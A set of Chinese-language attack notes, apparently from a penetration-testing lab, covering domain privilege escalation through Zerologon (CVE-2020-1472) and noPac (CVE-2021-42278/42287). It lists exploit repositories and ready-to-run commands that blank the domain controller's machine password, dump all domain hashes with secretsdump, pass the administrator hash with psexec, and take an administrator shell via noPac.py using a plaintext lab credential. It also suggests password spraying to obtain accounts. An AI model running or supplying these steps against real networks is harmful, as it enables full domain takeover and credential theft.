域内的权限提升
CVE-2020-1472
域内有一个服务:MS-NRPC(建立与域控安全通道),可利用此漏洞获取域管访问权限。
- 检测这个漏洞能不能打,能打之后,将域控的机器hash置空,密码为空,那么你就可以通过空的hash读取administrator的密码(dcsync,administrator domain admins 机器用户,domain control)
- 环境的准备
windows2019 域控
Impacket工具包:https://github.com/SecureAuthCorp/impacket.git
poc:https://github.com/SecuraBV/CVE-2020-1472.git
exp:https://github.com/dirkjanm/CVE-2020-1472
exp:https://github.com/risksense/zerologon
- 先用poc检测
https://github.com/SecuraBV/CVE-2020-1472
python zerologon_tester.py WIN-EB8RC552TFJ 10.10.10.90
Given a domain controller named `WIN-EB8RC552TFJ` with IP address `192.168.7.49`, run the script as follows
- 在使用exp利用
https://github.com/dirkjanm/CVE-2020-1472
python cve-2020-1472-exploit.py WIN-EB8RC552TFJ 10.10.10.90
- PTH拿下域控
secretsdump该工具读取域内全部的hash
secretsdump.exe sis2504/WIN-EB8RC552TFJ$@10.10.10.90 -just-dc -no-pass
psexec.exe administrator@10.10.10.90 -hashes aad3b435b51404eeaad3b435b51404ee:937b842c7cfa612cc40196a5d89b4823
CVE-2021-42278 & CVE-2021-42287
域内允许加入域的用的(我们的客户机在加入域的时候,会输入一个账户名和密码,域允许这个用户创建一个机器账户),域允许这个用户(test001)创建一个机器用户(域控制器的hostname--dc,dc$)当你用DC$(test001创建的这个机器账户申请票据的时候,域控会将你识别成自己,就把自己的票(TGT))就发给你了,你是不是就拥有了一张高权限的票。
- 利用条件
具有一个域内的合法的用户 -- 低权限 高权限 都可以
合法的用户怎么获取:用户名+密码喷洒 asprating kerberosting
- 漏洞利用
先做扫描 -- 检测一下这个漏洞能不能打 poc的检测
python scanner.py sis2504.club/zhangli:"FLW.com12138a" -dc-ip 192.168.7.49 -use-ldap
python noPac.py sis2504.club/zhangli:"FLW.com12138a" -dc-ip 192.168.7.49 -dc-host WIN-EB8RC552TFJ -shell --impersonate administrator -use-ldap
其他的用法自己看readme.md